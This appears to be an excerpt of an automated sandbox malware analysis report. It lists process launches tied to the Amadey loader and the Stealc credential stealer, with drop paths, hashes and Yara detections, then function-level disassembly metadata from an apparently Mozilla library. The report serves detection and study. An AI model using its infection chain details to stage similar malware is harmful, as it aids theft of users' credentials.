Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:37:24
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:37:49
Start date:	12/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJECFHCBKK.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:37:49
Start date:	12/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:37:49
Start date:	12/11/2024
Path:	C:\Users\user\DocumentsKJECFHCBKK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsKJECFHCBKK.exe"
Imagebase:	0x280000
File size:	3'331'584 bytes
MD5 hash:	1E47E2F65D0C0C34238B0FF295D88686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2667251509.0000000000281000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:37:52
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x190000
File size:	3'331'584 bytes
MD5 hash:	1E47E2F65D0C0C34238B0FF295D88686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2693682818.0000000000191000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:37:53
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x190000
File size:	3'331'584 bytes
MD5 hash:	1E47E2F65D0C0C34238B0FF295D88686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2703329574.0000000000191000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:38:00
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x190000
File size:	3'331'584 bytes
MD5 hash:	1E47E2F65D0C0C34238B0FF295D88686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.5942586902.0000000000191000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	04:38:10
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe"
Imagebase:	0xf10000
File size:	1'830'912 bytes
MD5 hash:	BA4B1F7686F54035029326B69B13145C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2873995638.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001A.00000003.2832941948.0000000005160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:38:14
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:
File size:	3'331'584 bytes
MD5 hash:	1E47E2F65D0C0C34238B0FF295D88686
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	04:38:19
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	04:38:19
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"
Imagebase:	0x9f0000
File size:	2'827'264 bytes
MD5 hash:	7B8FF73B71BC4D7C309EBC71FF5ACF2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:38:22
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe"
Imagebase:	0xf10000
File size:	1'830'912 bytes
MD5 hash:	BA4B1F7686F54035029326B69B13145C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000002.2995420313.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001E.00000003.2955119409.0000000005860000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:38:38
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"
Imagebase:	0x9f0000
File size:	2'827'264 bytes
MD5 hash:	7B8FF73B71BC4D7C309EBC71FF5ACF2E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	04:38:51
Start date:	12/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe"
Imagebase:	0x9f0000
File size:	2'827'264 bytes
MD5 hash:	7B8FF73B71BC4D7C309EBC71FF5ACF2E
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:40:19
Start date:	12/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6604 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CAC35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4F688,00001000), ref: 6CAC35D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAC35E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CAC35FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAC363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAC369F
__aulldiv.LIBCMT ref: 6CAC36E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CAC3773
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAC377E
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAC37BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CAC37C4
EnterCriticalSection.KERNEL32(6CB4F688), ref: 6CAC37CB
LeaveCriticalSection.KERNEL32(6CB4F688), ref: 6CAC3801
__aulldiv.LIBCMT ref: 6CAC3883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CAC3902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CAC3918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CAC394C

Strings

QPC, xrefs: 6CAC38FC
GenuntelineI, xrefs: 6CAC3639
GTC, xrefs: 6CAC3912
AuthcAMDenti, xrefs: 6CAC3946
MOZ_TIMESTAMP_MODE, xrefs: 6CAC35DB

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: da2cc2c5df4d8da363b11d296b473e9da5bb6841f218e54099498a051c89f81a
Instruction ID: 1a971f5d0e8de88bf015eda92aa7b3d34840cd42214989b388324701d27e74d2
Opcode Fuzzy Hash: da2cc2c5df4d8da363b11d296b473e9da5bb6841f218e54099498a051c89f81a
Instruction Fuzzy Hash: 56B1C375B0D3509FDB08EF29C85465ABBF5BB8A708F04C92DE999D3758D7309844CB82

Function 6CADC930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CADC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CADC969
GetSystemInfo.KERNEL32(?), ref: 6CADC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CADC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CADC9E2

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: f96acfbeea97d223d80c1f3fb6dfe872c7a08f5b1f1689d5eececf88ff630f4c
Instruction ID: ec982734a3127930f777305109c096c74685530166ba2d126b9848bef343a1d0
Opcode Fuzzy Hash: f96acfbeea97d223d80c1f3fb6dfe872c7a08f5b1f1689d5eececf88ff630f4c
Instruction Fuzzy Hash: 12216E317456286BDB04BB69CC84BAE73B9FB4670CFA1411DF907A7B80DB306C448790

Function 6CAC3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CAC3095

Part of subcall function 6CAC35A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CB4F688,00001000), ref: 6CAC35D5
Part of subcall function 6CAC35A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CAC35E0
Part of subcall function 6CAC35A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CAC35FD
Part of subcall function 6CAC35A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CAC363F
Part of subcall function 6CAC35A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CAC369F
Part of subcall function 6CAC35A0: __aulldiv.LIBCMT ref: 6CAC36E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC309F

Part of subcall function 6CAE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B85
Part of subcall function 6CAE5B50: EnterCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B90
Part of subcall function 6CAE5B50: LeaveCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5BD8
Part of subcall function 6CAE5B50: GetTickCount64.KERNEL32 ref: 6CAE5BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CAC30BE

Part of subcall function 6CAC30F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CAC3127
Part of subcall function 6CAC30F0: __aulldiv.LIBCMT ref: 6CAC3140

Part of subcall function 6CAFAB2A: __onexit.LIBCMT ref: 6CAFAB30

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: b1c4de07691870a835903d4af3ddd173e02431d54a62431a5879bedf07595678
Instruction ID: 7f9e7c6693d17f899d12a3483bf9ca6623642d6d12f1efd4b946f47c52d806b8
Opcode Fuzzy Hash: b1c4de07691870a835903d4af3ddd173e02431d54a62431a5879bedf07595678
Instruction Fuzzy Hash: 71F0F422E2878896CB10FF7499415EAB374BF6B21CF109319E89863621FB3061DCC3C6

Non-executed Functions

Function 6CAD5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAD5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAD54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAD54BE
__Init_thread_footer.LIBCMT ref: 6CAD54DB

Part of subcall function 6CAFAB3F: EnterCriticalSection.KERNEL32(6CB4E370,?,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB49
Part of subcall function 6CAFAB3F: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC3527,6CB4F6CC,?,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFAB7C

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CAD54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAD5516
GetCurrentThreadId.KERNEL32 ref: 6CAD556A
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAD5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAD5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAD55E6
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CAD5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAD5616

Part of subcall function 6CAFAB89: EnterCriticalSection.KERNEL32(6CB4E370,?,?,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284), ref: 6CAFAB94
Part of subcall function 6CAFAB89: LeaveCriticalSection.KERNEL32(6CB4E370,?,6CAC34DE,6CB4F6CC,?,?,?,?,?,?,?,6CAC3284,?,?,6CAE56F6), ref: 6CAFABD1

GetCurrentThreadId.KERNEL32 ref: 6CAD563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAD5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAD567C
free.MOZGLUE(?), ref: 6CAD56AE

Part of subcall function 6CAE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAE5EDB
Part of subcall function 6CAE5E90: memset.VCRUNTIME140(6CB27765,000000E5,55CCCCCC), ref: 6CAE5F27
Part of subcall function 6CAE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAE5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAD56E8
GetCurrentThreadId.KERNEL32 ref: 6CAD5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAD570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAD5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAD574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAD576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAD5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAD57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CAD57CA

Strings

[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CAD584E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CAD5BBE
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CAD5D1C
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CAD5D2B
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CAD5717
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CAD5C56
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CAD5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CAD5AC9
MOZ_BASE_PROFILER_HELP, xrefs: 6CAD5511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CAD54B9
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CAD56E3
MOZ_PROFILER_STARTUP, xrefs: 6CAD55E1
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CAD5766
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CAD5724
GeckoMain, xrefs: 6CAD5554, 6CAD55D5
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CAD5749
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CAD5CF9
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CAD57C5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CAD57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CAD5B38
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CAD54A3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CAD5D01
[I %d/%d] profiler_init, xrefs: 6CAD564E
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CAD5791
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CAD548D

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 1fb8093166796c1ca2bee0c1e9a217243d75736f1017bc295c43f8e433672644
Instruction ID: 3dde48bd42cbba18e38691d0b6f601f2a9008efca93f90a0e439df990c6e5b88
Opcode Fuzzy Hash: 1fb8093166796c1ca2bee0c1e9a217243d75736f1017bc295c43f8e433672644
Instruction Fuzzy Hash: 0D2226B4A087408FEB00AF75841466E7BB5FF4635CF198929F95987B45EB30E888CB53

Function 6CB0B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0B845
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000), ref: 6CB0B852
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0B884
InitializeConditionVariable.KERNEL32(?), ref: 6CB0B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CB0B9FD
GetCurrentThreadId.KERNEL32 ref: 6CB0BA05
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000), ref: 6CB0BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CB0BA27
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0BA4B
free.MOZGLUE(?), ref: 6CB0C9C7
free.MOZGLUE(?), ref: 6CB0C9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CB0C7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CB0C878

Memory Dump Source

Source File: 00000000.00000002.2691404314.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2691382583.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691584764.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2691606447.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
